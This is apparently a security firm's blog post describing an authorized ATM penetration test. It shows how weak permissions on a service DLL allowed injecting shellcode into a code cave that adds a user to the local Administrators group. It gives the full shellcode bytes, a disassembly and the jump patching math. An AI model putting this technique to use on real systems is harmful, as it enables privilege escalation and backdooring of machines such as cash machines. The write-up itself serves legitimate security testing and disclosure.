Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More
Get access to immediate incident response assistance.
Get access to immediate incident response assistance.
Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More
During our last ATM review engagement, we found some interesting executable files that were run by Windows Services under Local System account. These binaries had weak file permissions that allowed us to modify them using the standard ATM user account. As a proof of concept, I decided to inject some code into one of them to take full control of the system.
This post is about the technique I used to inject the code into a .dll used by one of the Windows Services. I'm sure there are many other ways to do this, including with automatic tools, but this old school code injection worked for me, so it is worth sharing. I have renamed the binaries in order to avoid disclosing information about the vendor. Anyway, the issue here was only related to file permissions and not to the actual binaries.
First, I decompiled the banana-service.exe binary, a .NET assembly using ILSpy (http://ilspy.net/), in order to learn a bit more about it. Here is what I found in the code:
…[SNIP]…[DllImport("peel.dll", SetLastError = true)]public static extern int peel();protected override void OnStart(string[] args){ int num = banana-service.peel();…[SNIP]…
So the assembly is just calling the peel() function located in the peel.dll library. This is where I am going to inject my code.
I could have tried to inject directly into the assembly code but I choose the .dll instead, which was the easiest way for me.
Here is an extract of the disassembled code of the exported peel() function in the .dll:
We want our own code to execute immediately when peel() is called. To do so, we are going to change the beginning of the function to jump to our code and return to the normal execution flow after it. This way, the function will behave normally without disrupting the ATM. But where should we put our code?
At the end of the .text section we can see a code cave full of 0x00 bytes, which is the perfect place:
I used a basic shell code that originally runs cmd.exe and modified it to execute the following command:
net localgroup administrators Default_atm /add
This simply adds the Default_atm user to the Administrators local group. The original shell code can be found here: http://www.exploit-db.com/exploits/13614/.
This code simply calls the C library function system() located in msvcrt.dll library passing the command as a parameter. The ATM was running Windows XP SP3, and I didn't have to change the address of the system() function (0x77c293c7). In case your library is different, you can find this address with Dependency Walker. Find the address of the system() function in msvcrt.dll and add the Preferred Base address to it (0x193C7 + 0x77c10000 = 0x77c293c7):
Here is the shell code:
\x55\x8B\xEC\x68\x64\x64\x26\x20\x68\x6D\x20\x2F\x61\x68\x74\x5F\x61\x74\x68\x66\x61\x75\x6C\x68\x73\x20\x44\x65\x68\x61\x74\x6F\x72\x68\x69\x73\x74\x72\x68\x64\x6D\x69\x6E\x68\x75\x70\x20\x61\x68\x6C\x67\x72\x6F\x68\x6C\x6F\x63\x61\x68\x6E\x65\x74\x20\x8D\x45\xD0\x50\xB8\xC7\x93\xC2\x77\xFF\xD0\x83\xC4\x4C\x8B\xE5\x5D
And here are the explanations:
1. Prologue:
0: 55 push ebp 1: 8b ec mov ebp,esp
2. Push the string representation of the command we want to execute: "net localgroup administrators Default_atm /add& " ("&[space]" at the end is only padding).
3: 68 64 64 26 20 push 0x20266464 8: 68 6d 20 2f 61 push 0x612f206d d: 68 74 5f 61 74 push 0x74615f7412: 68 66 61 75 6c push 0x6c75616617: 68 73 20 44 65 push 0x654420731c: 68 61 74 6f 72 push 0x726f746121: 68 69 73 74 72 push 0x7274736926: 68 64 6d 69 6e push 0x6e696d642b: 68 75 70 20 61 push 0x6120707530: 68 6c 67 72 6f push 0x6f72676c35: 68 6c 6f 63 61 push 0x61636f6c3a: 68 6e 65 74 20 push 0x2074656e
3. Push a pointer to the beginning of the string on the stack:
3f: 8d 45 d0 lea eax,[ebp-0x30]42: 50 push eax
4. Call the system() function:
43: b8 c7 93 c2 77 mov eax,0x77c293c748: ff d0 call eax
5. Do some cleanup:
4a: 83 c4 4c add esp,0x4c4d: 8b e5 mov esp,ebp4f: 5d pop ebp
Now we need to include this in the binary and write the jump instructions to connect everything together.
Let's copy these bytes in the code cave we found earlier (at the address 0x100B9E9D for example)...
… and see how IDA Pro translates this:
Now we need to write the instruction that will jump to this code (near jump). We are going to do it at the beginning of the peel() function (at the address 0x10003CB0).
The operand of the JMP instruction will be an offset (16-bit) from the address 0x10003CB0 to 0x100B9E9D, which would be 0xB61ED. But because the JMP instruction offset is relative to the address of the instruction following the JMP, we have to subtract 5 (the length of JMP+[16-bit offset] is 5 bytes). The final instruction is:
0: E9 E8 61 0B 00 jmp 0xb61e8
The peel() function begins with the following code:
0: 55 push ebp1: 8b ec mov ebp,esp3: 81 ec 9c 00 00 00 sub esp,0x9c
We will need to overwrite the first 5 bytes (the JMP instruction) and, to avoid breaking the original code, we will need to move the first 3 instructions above to the end of our injected code. Also, because the total length of these instructions is 9 bytes, we will pad the 4 remaining bytes with NOP instructions (not mandatory here though).
Finally, the code at the beginning of the peel() function (at 0x10003CB0) will be:
E9 E8 61 0B 00 90 90 90 90
Now going back to our injected code, I will simply add the code we overwrote:
We could have done some factorization here. We can see that we have redundant and useless code, but let's keep it like this for now:
…[SNIP]….text:100B9EE7 add esp, 4Ch.text:100B9EEA mov esp, ebp.text:100B9EEC pop ebp.text:100B9EED push ebp.text:100B9EEE mov ebp, esp.text:100B9EF0 sub esp, 9Ch…[SNIP]…
The last thing we have to do now is jump back to right after the first JMP instruction located at the beginning of the peel() function.
Let's do the math:
0x10003CB9 (address of the first instruction after the 4 NOP we added)- 0x100B9EF6 (address after the last instruction in our injected code)- 0x5 (size of JMP instruction)------------- 0xFFF49DBE (or the negative value: -0xB6242)
The jump instruction will be:
0: E9 BE 9D F4 FF jmp 0xFFF49DBE
Et voila!
In the next post I will give more details on how to actually patch the binary. Stay tuned…
Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.
Copyright © 2024 Trustwave Holdings, Inc. All rights reserved.